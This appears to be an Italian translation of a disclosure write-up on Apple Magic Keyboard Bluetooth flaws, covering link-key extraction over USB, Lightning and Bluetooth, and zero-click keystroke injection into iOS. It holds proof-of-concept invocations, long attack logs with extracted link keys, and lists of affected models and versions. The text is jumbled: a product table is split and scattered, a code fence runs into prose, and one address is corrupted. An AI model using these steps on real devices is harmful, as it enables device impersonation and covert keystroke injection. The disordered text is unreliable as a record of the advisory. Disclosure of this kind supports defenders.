- L'attaccante conosce l'indirizzo Bluetooth e il numero di serie della Magic Keyboard
- L'attaccante ha una Magic Keyboard donatrice (che verrà temporaneamente riconfigurata per impersonare la tastiera bersaglio)
#### Esecuzione della PoC```
> ./read-link-key-from-mac.py --help
usage: read-link-key-from-mac.py [-h] -a KEYBOARD_ADDRESS -s KEYBOARD_SERIAL
options:
-h, --help show this help message and exit
-a KEYBOARD_ADDRESS, --keyboard_address KEYBOARD_ADDRESS
-s KEYBOARD_SERIAL, --keyboard_serial KEYBOARD_SERIAL
./read-link-key-from-mac.py -a 1c:57:fc:08:65:12 -s F1T2107RUNW12NXA9
#### Output```
[2024-01-07 10:34:53.910] Turn on the donor keyboard and plug it into this computer
[2024-01-07 10:34:58.200] changing Bluetooth address from 3C:A6:F6:E1:3D:F0 to 1c:57:fc:08:65:12
[2024-01-07 10:34:58.201] serial number: F0T230C02AZ0NC1EH -> F1T2107RUNW12NXA9
[2024-01-07 10:34:58.202] Unplug the donor keyboard and plug it into the Mac.
[2024-01-07 10:34:58.202] Wait a few seconds, then plug it back into this computer.
[2024-01-07 10:35:02.533] keyboard was unplugged
[2024-01-07 10:35:13.463] keyboard has returned
[2024-01-07 10:35:13.464] Mac BT Address - a4:c3:99:e8:a8:6c
[2024-01-07 10:35:13.464] BT Link-Key - c95e3ec98809f2745d32029e7f97b67e
Quando la Magic Keyboard è collegata al Mac, il Mac invia la chiave di collegamento Bluetooth alla Magic Keyboard tramite USB.
La chiave di collegamento rimane in memoria finché la Magic Keyboard non viene spenta e può essere letta tramite un servizio Bluetooth HID non autenticato sulla tastiera.
Il servizio Bluetooth HID non autenticato diventa disponibile quando la Magic Keyboard viene scollegata dal Mac e rimane disponibile finché non viene stabilita la connessione Bluetooth.
Si tratta di un attacco zero-click con una componente temporale. La PoC non implementa un trigger temporale, ma tenta di connettersi alla Magic Keyboard in un ciclo finché non riesce.
Apple ha iniziato a distribuire patch per Magic Keyboard il 2024-01-09.
Le seguenti periferiche Apple sono state testate e risultate vulnerabili a questo attacco. Nessun'altra periferica è stata testata, quindi questo elenco potrebbe essere incompleto.
| Nome prodotto | Numero modello |
|---|---|
| Magic Keyboard | A2450 |
| Magic Keyboard con Touch ID | A2449 |
| Magic Keyboard con tastierino numerico |
Collega la Magic Keyboard al computer Linux con un cavo Lightning-to-USB, quindi esegui lo script. Una volta che lo script è in esecuzione, scollega la tastiera dal Mac.
Quando la tastiera viene scollegata, c'è una gara per connettersi alla tastiera tra la macchina dell'attaccante e il Mac.
La PoC di solito si connette alla Magic Keyboard circa 5 o 25 secondi dopo che la tastiera è stata scollegata dal Mac. A volte il Mac vince la gara e, quando ciò accade, la PoC non viene completata.``` ./read-link-key-lightning.py
#### Invocazione```
./read-link-key-bluetooth.py 1c:57:dc:88:55:02
[2024-01-07 13:09:59.311] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:00.313] ERROR connecting on port 17: timed out [2024-01-07 13:10:00.314] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:00.316] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:00.318] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:01.359] ERROR connecting on port 17: timed out [2024-01-07 13:10:01.361] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:01.362] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:01.364] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:02.407] ERROR connecting on port 17: timed out [2024-01-07 13:10:02.408] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:02.410] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:02.411] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:03.448] ERROR connecting on port 17: timed out [2024-01-07 13:10:03.449] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:03.451] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:03.452] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:04.512] ERROR connecting on port 17: timed out [2024-01-07 13:10:04.513] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:04.515] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:04.516] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:05.568] ERROR connecting on port 17: timed out [2024-01-07 13:10:05.569] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:05.638] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:05.640] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:06.680] ERROR connecting on port 17: timed out [2024-01-07 13:10:06.681] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:07.682] ERROR connecting on port 17: timed out [2024-01-07 13:10:07.684] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:08.685] ERROR connecting on port 17: timed out [2024-01-07 13:10:08.687] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:09.689] ERROR connecting on port 17: timed out [2024-01-07 13:10:09.690] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:10.691] ERROR connecting on port 17: timed out [2024-01-07 13:10:10.693] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:11.694] ERROR connecting on port 17: timed out [2024-01-07 13:10:11.696] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:12.697] ERROR connecting on port 17: timed out [2024-01-07 13:10:12.699] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:13.700] ERROR connecting on port 17: timed out [2024-01-07 13:10:13.702] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:14.704] ERROR connecting on port 17: timed out [2024-01-07 13:10:14.705] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:15.707] ERROR connecting on port 17: timed out [2024-01-07 13:10:15.708] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:16.709] ERROR connecting on port 17: timed out [2024-01-07 13:10:16.711] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:17.712] ERROR connecting on port 17: timed out [2024-01-07 13:10:17.714] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:18.715] ERROR connecting on port 17: timed out [2024-01-07 13:10:18.717] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:19.719] ERROR connecting on port 17: timed out [2024-01-07 13:10:19.720] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:20.722] ERROR connecting on port 17: timed out [2024-01-07 13:10:20.723] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:21.725] ERROR connecting on port 17: timed out [2024-01-07 13:10:21.726] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:22.728] ERROR connecting on port 17: timed out [2024-01-07 13:10:22.729] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:23.731] ERROR connecting on port 17: timed out [2024-01-07 13:10:23.732] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:24.734] ERROR connecting on port 17: timed out [2024-01-07 13:10:24.735] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:25.737] ERROR connecting on port 17: timed out [2024-01-07 13:10:25.738] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:26.739] ERROR connecting on port 17: timed out [2024-01-07 13:10:26.741] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:26.824] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:26.826] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:27.868] ERROR connecting on port 17: timed out [2024-01-07 13:10:27.869] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:28.262] SUCCESS! connected on port 17 [2024-01-07 13:10:28.264] connecting to 1c:57:dc:88:55:02 on port 19 [2024-01-07 13:10:28.290] SUCCESS! connected on port 19 [2024-01-07 13:10:28.291] [TX-17] 53ff34 [2024-01-07 13:10:28.346] [RX-17] 00 [2024-01-07 13:10:28.346] [TX-17] 43f0 [2024-01-07 13:10:28.414] [RX-17] a3f0340347011c57dc88550200254000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 [2024-01-07 13:10:28.414] [TX-17] 53ff35 [2024-01-07 13:10:28.458] [RX-17] 00 [2024-01-07 13:10:28.458] [TX-17] 43f0 [2024-01-07 13:10:28.498] [RX-17] a3f035010150de06a8e1ca80b480523b23bbff5ea40c52e88f1905 Model 0 - Magic Keyboard BT Address - 1c:57:dc:88:55:02 Mac BT Address - 50🇩🇪06:a8:e1:ca BT Link Key - 05198fe8520ca45effbb233b5280b480
### Iniezione di tasti su iOS
Quando un iPhone tenta di connettersi a una Magic Keyboard associata tramite Bluetooth, un attaccante può impersonare la Magic Keyboard verso l'iPhone, associare una tastiera Bluetooth virtuale e iniettare sequenze di tasti senza conferma da parte dell'utente.
Questo attacco ha una componente temporale: l'attaccante deve connettersi all'iPhone nel momento esatto in cui l'iPhone tenta di connettersi alla Magic Keyboard.
Il PoC incluso si attiva quando l'iPhone tenta di connettersi alla sua Magic Keyboard associata. Utilizza lo stesso trigger di temporizzazione SDP del PoC per macOS, attivandosi quando l'iPhone si connette alla sua Magic Keyboard associata. Si tratta di un attacco zero-click che richiede di osservare un utente mentre si connette alla propria Magic Keyboard associata.
#### Versioni interessate
- iOS 17 è vulnerabile prima della 17.2
- iOS 16 è vulnerabile e non è prevista alcuna patch
- iOS 15 e versioni precedenti non sono stati testati
#### Stato iniziale
- L'iPhone è associato a una Magic Keyboard e la tastiera è fuori portata o spenta.
- Quando l'utente tenta di connettersi alla propria Magic Keyboard, il PoC inietta sequenze di tasti per aprire un browser web ed eseguire una ricerca Google.
#### Esecuzione del PoC
**NOTA: BlueZ deve essere in esecuzione in modalità di compatibilità sulla macchina dell'attaccante per questo PoC. Lo script PoC per iPhone si trova in iphone-poc.zip**```
> ./iphone-poc.py
usage: ./iphone-poc.py <hciX> <BT_ADDR_IPHONE> <BT_ADDR_KEYBOARD>
./iphone-poc.py hci1 4C:20:B8:D6:63:45 1C:57:DC:88:55:02
| A1843 |
| Magic Keyboard con Touch ID e tastierino numerico | A2520 |
| Magic Mouse | A1657 |